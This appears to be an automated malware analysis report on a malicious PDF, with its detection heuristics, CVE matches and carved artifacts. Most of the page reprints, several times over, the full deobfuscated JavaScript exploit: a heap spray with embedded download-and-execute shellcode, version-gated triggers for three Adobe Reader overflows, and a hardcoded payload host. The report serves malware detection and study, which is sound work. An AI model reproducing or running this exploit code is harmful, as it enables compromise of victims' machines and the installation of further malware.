Malicious PDF — malware analysis report

Static analysis result for SHA-256 11816abeb27d5d4c…

MALICIOUS

PDF

2.6 KB Created: 2008-31-20 53:85:00 Authoring application: aaaaaaaa First seen: 2013-02-17
MD5: e3dd4fe1bbedc4c579842fa56b1dfcdd SHA-1: 15d0baf1db8e4510a25835a9e2ca723ea7709f78 SHA-256: 11816abeb27d5d4ca9c406ea3427a45625843cbb004815874448d10eaa9ea607
630 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains obfuscated JavaScript that exploits multiple known Adobe Reader vulnerabilities, including CVE-2009-0927, CVE-2007-5659, and CVE-2008-2992. The script is designed to download and execute a second-stage payload from the embedded URLs. The use of multiple CVEs and the obfuscated JavaScript indicates a sophisticated exploit kit.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 14

  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (matched in decompressed stream)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (matched in decompressed stream)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • ClamAV: Pdf.Exploit.Agent-36014 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Exploit.Agent-36014
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    varV6hYW4PN=newArray();functionbvFoa8iG(FGAiKonJ,bASlKNqu){while(FGAiKonJ.length*2<bASlKNqu){FGAiKonJ=FGAiKonJ;}FGAiKonJ=FGAiKonJ.substring(0,bASlKNqu/2);returnFGAiKonJ;}functionO8BrQSMO(Rza7dvhl){varlJkW6OqP=0x0c0c0c0c;varvvpethya=unescape(%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D% …
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Hex-obfuscated structural name object high PDF_OBFUSCATED_NAME_OBJECT
    A structurally-dangerous PDF name (e.g. /OpenAction, /Launch, /AA, /EmbeddedFile, /SubmitForm) is written with #XX hex escapes to evade string-based scanners. Legitimate producers write these names literally; hex-encoding them is a deliberate obfuscation technique.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://91.212.65.138/load.php?id=3 Referenced by PDF JavaScript
    • http://91.212.65.138/load.php?id=4Referenced by PDF JavaScript
    • http://91.212.65.138/load.php?id=5Referenced by PDF JavaScript

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 7

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0013_001.js pdf-javascript-stream PDF /JS object 13 at offset 0x328 3926 bytes
SHA-256: 9a99ade36cd4c66ea49bb21dee81b3d2c8968d1b817835108c8a84b36b4275de
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 6 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var V6hYW4PN = new Array();
function bvFoa8iG(FGAiKonJ, bASlKNqu){
  while (FGAiKonJ.length * 2 < bASlKNqu){
    FGAiKonJ += FGAiKonJ;
  }
  FGAiKonJ = FGAiKonJ.substring(0, bASlKNqu / 2);
  return FGAiKonJ;
}
function O8BrQSMO(Rza7dvhl){
  var lJkW6OqP = 0x0c0c0c0c;
    var vvpethya = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u392F%u2E31%u3132%u2E32%u3536%u312E%u3833%u6C2F%u616F%u2E64%u6870%u3F70%u6469%u333D");
  
  if (Rza7dvhl == 1){
    lJkW6OqP = 0x30303030;
    vvpethya = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u392F%u2E31%u3132%u2E32%u3536%u312E%u3833%u6C2F%u616F%u2E64%u6870%u3F70%u6469%u343D");
  }
  if (Rza7dvhl == 2){
      vvpethya = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u392F%u2E31%u3132%u2E32%u3536%u312E%u3833%u6C2F%u616F%u2E64%u6870%u3F70%u6469%u353D");
  }
		var CsWqMjgq = 0x400000;
		var hWq500CN = vvpethya.length * 2;
		var bASlKNqu = CsWqMjgq - (hWq500CN + 0x38);
		var FGAiKonJ = unescape("%u9090%u9090");
		FGAiKonJ = bvFoa8iG(FGAiKonJ, bASlKNqu);
		var p5AjK65f = (lJkW6OqP - 0x400000) / CsWqMjgq;
		for (var vqcQD96y = 0; vqcQD96y < p5AjK65f; vqcQD96y ++ ){
		V6hYW4PN[vqcQD96y] = FGAiKonJ + vvpethya;
  }
}
function BcpL6fck(){
	var bTmVmuza = app.viewerVersion.toString();
  
    if (bTmVmuza > 8){
        O8BrQSMO(1);
        var Zwlq8E2Q = "12999999999999999999";
        for (a0XvoX0R = 0; a0XvoX0R < 276; a0XvoX0R ++ ){
          Zwlq8E2Q += "8";
        }
        util.printf("%45000f", Zwlq8E2Q);
    }
	if (bTmVmuza < 8){
		O8BrQSMO(0);
		var pZw0zqnE = unescape("%u0c0c%u0c0c");
		while (pZw0zqnE.length < 44952)pZw0zqnE += pZw0zqnE;
		this .collabStore = Collab.collectEmailInfo({
      subj : "", msg : pZw0zqnE});
    }  
	
	if (bTmVmuza < 9.1)	
	{
	if (app.doc.Collab.getIcon){
        O8BrQSMO(2);
        var tUMhNbGw = unescape("%09");
        while (tUMhNbGw.length < 0x4000)tUMhNbGw += tUMhNbGw;
        tUMhNbGw = "N." + tUMhNbGw;
		app.doc.Collab.getIcon(tUMhNbGw);
	}
	}
}
BcpL6fck();
javascript_obj0013_001_shellcode_00.bin pdf-js-shellcode pdf-js-unescape-shellcode recovered from PDF /JS object 13 at offset 0x328 258 bytes
SHA-256: 38a96b77d8ba47790afc8b63cd8d21a70af24d145489039c7b814f8be4615b8b
javascript_obj0013_001_shellcode_01.bin pdf-js-shellcode pdf-js-unescape-shellcode recovered from PDF /JS object 13 at offset 0x328 258 bytes
SHA-256: e280dd6b23c08501442ece5e49808c211c51777e56632c8e3b1bea2a5c770b49
javascript_obj0013_001_shellcode_02.bin pdf-js-shellcode pdf-js-unescape-shellcode recovered from PDF /JS object 13 at offset 0x328 258 bytes
SHA-256: f7b30069447a81c221efa2a090803c7b39903ad08ec155314d3421490b7eaf76
generic_stage_recovery_000.js deobfuscated-js generic stage recovery percent-decode from JavaScript object 13 at offset 0x328 3922 bytes
SHA-256: 81ae70512c987f7180e8bca5a7a36c6573fdc9c4299ac79c7983434f943f6b43
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 6 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var V6hYW4PN = new Array();
function bvFoa8iG(FGAiKonJ, bASlKNqu){
  while (FGAiKonJ.length * 2 < bASlKNqu){
    FGAiKonJ += FGAiKonJ;
  }
  FGAiKonJ = FGAiKonJ.substring(0, bASlKNqu / 2);
  return FGAiKonJ;
}
function O8BrQSMO(Rza7dvhl){
  var lJkW6OqP = 0x0c0c0c0c;
    var vvpethya = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u392F%u2E31%u3132%u2E32%u3536%u312E%u3833%u6C2F%u616F%u2E64%u6870%u3F70%u6469%u333D");
  
  if (Rza7dvhl == 1){
    lJkW6OqP = 0x30303030;
    vvpethya = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u392F%u2E31%u3132%u2E32%u3536%u312E%u3833%u6C2F%u616F%u2E64%u6870%u3F70%u6469%u343D");
  }
  if (Rza7dvhl == 2){
      vvpethya = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u392F%u2E31%u3132%u2E32%u3536%u312E%u3833%u6C2F%u616F%u2E64%u6870%u3F70%u6469%u353D");
  }
		var CsWqMjgq = 0x400000;
		var hWq500CN = vvpethya.length * 2;
		var bASlKNqu = CsWqMjgq - (hWq500CN + 0x38);
		var FGAiKonJ = unescape("%u9090%u9090");
		FGAiKonJ = bvFoa8iG(FGAiKonJ, bASlKNqu);
		var p5AjK65f = (lJkW6OqP - 0x400000) / CsWqMjgq;
		for (var vqcQD96y = 0; vqcQD96y < p5AjK65f; vqcQD96y ++ ){
		V6hYW4PN[vqcQD96y] = FGAiKonJ + vvpethya;
  }
}
function BcpL6fck(){
	var bTmVmuza = app.viewerVersion.toString();
  
    if (bTmVmuza > 8){
        O8BrQSMO(1);
        var Zwlq8E2Q = "12999999999999999999";
        for (a0XvoX0R = 0; a0XvoX0R < 276; a0XvoX0R ++ ){
          Zwlq8E2Q += "8";
        }
        util.printf("E000f", Zwlq8E2Q);
    }
	if (bTmVmuza < 8){
		O8BrQSMO(0);
		var pZw0zqnE = unescape("%u0c0c%u0c0c");
		while (pZw0zqnE.length < 44952)pZw0zqnE += pZw0zqnE;
		this .collabStore = Collab.collectEmailInfo({
      subj : "", msg : pZw0zqnE});
    }  
	
	if (bTmVmuza < 9.1)	
	{
	if (app.doc.Collab.getIcon){
        O8BrQSMO(2);
        var tUMhNbGw = unescape("	");
        while (tUMhNbGw.length < 0x4000)tUMhNbGw += tUMhNbGw;
        tUMhNbGw = "N." + tUMhNbGw;
		app.doc.Collab.getIcon(tUMhNbGw);
	}
	}
}
BcpL6fck();
generic_stage_recovery_001.js deobfuscated-js generic stage recovery percent-decode from combined JavaScript objects at offset 0x9 3933 bytes
SHA-256: 6254966b586fde50174e1d15e8e7210975f9b20843065c5d391f1b9cf6bf290a
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 6 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
this.I1L()
var V6hYW4PN = new Array();
function bvFoa8iG(FGAiKonJ, bASlKNqu){
  while (FGAiKonJ.length * 2 < bASlKNqu){
    FGAiKonJ += FGAiKonJ;
  }
  FGAiKonJ = FGAiKonJ.substring(0, bASlKNqu / 2);
  return FGAiKonJ;
}
function O8BrQSMO(Rza7dvhl){
  var lJkW6OqP = 0x0c0c0c0c;
    var vvpethya = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u392F%u2E31%u3132%u2E32%u3536%u312E%u3833%u6C2F%u616F%u2E64%u6870%u3F70%u6469%u333D");
  
  if (Rza7dvhl == 1){
    lJkW6OqP = 0x30303030;
    vvpethya = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u392F%u2E31%u3132%u2E32%u3536%u312E%u3833%u6C2F%u616F%u2E64%u6870%u3F70%u6469%u343D");
  }
  if (Rza7dvhl == 2){
      vvpethya = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u392F%u2E31%u3132%u2E32%u3536%u312E%u3833%u6C2F%u616F%u2E64%u6870%u3F70%u6469%u353D");
  }
		var CsWqMjgq = 0x400000;
		var hWq500CN = vvpethya.length * 2;
		var bASlKNqu = CsWqMjgq - (hWq500CN + 0x38);
		var FGAiKonJ = unescape("%u9090%u9090");
		FGAiKonJ = bvFoa8iG(FGAiKonJ, bASlKNqu);
		var p5AjK65f = (lJkW6OqP - 0x400000) / CsWqMjgq;
		for (var vqcQD96y = 0; vqcQD96y < p5AjK65f; vqcQD96y ++ ){
		V6hYW4PN[vqcQD96y] = FGAiKonJ + vvpethya;
  }
}
function BcpL6fck(){
	var bTmVmuza = app.viewerVersion.toString();
  
    if (bTmVmuza > 8){
        O8BrQSMO(1);
        var Zwlq8E2Q = "12999999999999999999";
        for (a0XvoX0R = 0; a0XvoX0R < 276; a0XvoX0R ++ ){
          Zwlq8E2Q += "8";
        }
        util.printf("E000f", Zwlq8E2Q);
    }
	if (bTmVmuza < 8){
		O8BrQSMO(0);
		var pZw0zqnE = unescape("%u0c0c%u0c0c");
		while (pZw0zqnE.length < 44952)pZw0zqnE += pZw0zqnE;
		this .collabStore = Collab.collectEmailInfo({
      subj : "", msg : pZw0zqnE});
    }  
	
	if (bTmVmuza < 9.1)	
	{
	if (app.doc.Collab.getIcon){
        O8BrQSMO(2);
        var tUMhNbGw = unescape("	");
        while (tUMhNbGw.length < 0x4000)tUMhNbGw += tUMhNbGw;
        tUMhNbGw = "N." + tUMhNbGw;
		app.doc.Collab.getIcon(tUMhNbGw);
	}
	}
}
BcpL6fck();
combined_document_js_000.js deobfuscated-js combined document JavaScript streams at offset 0x9 3937 bytes
SHA-256: 63dfe5d5ead818333ec8c5ab3c8cecf2edf3f5462d8e93111cb5eccd996e72fe
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 6 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
this.I1L()
var V6hYW4PN = new Array();
function bvFoa8iG(FGAiKonJ, bASlKNqu){
  while (FGAiKonJ.length * 2 < bASlKNqu){
    FGAiKonJ += FGAiKonJ;
  }
  FGAiKonJ = FGAiKonJ.substring(0, bASlKNqu / 2);
  return FGAiKonJ;
}
function O8BrQSMO(Rza7dvhl){
  var lJkW6OqP = 0x0c0c0c0c;
    var vvpethya = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u392F%u2E31%u3132%u2E32%u3536%u312E%u3833%u6C2F%u616F%u2E64%u6870%u3F70%u6469%u333D");
  
  if (Rza7dvhl == 1){
    lJkW6OqP = 0x30303030;
    vvpethya = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u392F%u2E31%u3132%u2E32%u3536%u312E%u3833%u6C2F%u616F%u2E64%u6870%u3F70%u6469%u343D");
  }
  if (Rza7dvhl == 2){
      vvpethya = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u392F%u2E31%u3132%u2E32%u3536%u312E%u3833%u6C2F%u616F%u2E64%u6870%u3F70%u6469%u353D");
  }
		var CsWqMjgq = 0x400000;
		var hWq500CN = vvpethya.length * 2;
		var bASlKNqu = CsWqMjgq - (hWq500CN + 0x38);
		var FGAiKonJ = unescape("%u9090%u9090");
		FGAiKonJ = bvFoa8iG(FGAiKonJ, bASlKNqu);
		var p5AjK65f = (lJkW6OqP - 0x400000) / CsWqMjgq;
		for (var vqcQD96y = 0; vqcQD96y < p5AjK65f; vqcQD96y ++ ){
